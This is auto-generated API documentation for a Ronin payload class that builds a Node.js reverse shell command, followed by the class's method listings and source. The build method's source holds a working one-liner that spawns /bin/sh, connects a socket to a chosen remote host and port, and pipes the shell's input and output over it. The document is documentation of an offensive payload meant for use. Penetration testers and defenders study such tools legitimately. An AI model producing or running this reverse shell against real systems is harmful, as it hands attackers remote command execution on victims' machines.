Class: Ronin::Payloads::CMD::NodeJS::ReverseShell

Inherits:
Ronin::Payloads::CommandPayload show all
Includes:
Mixins::ReverseShell
Defined in:
lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb

Overview

A basic node (Node.js) reverse shell command.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::CommandPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the node reverse shell command.



45
46
47
48
49
# File 'lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb', line 45

def build
  js = %{(function(){var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(#{port}, #{host.dump}, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();}

  @payload = %{node -e '#{js}'}
end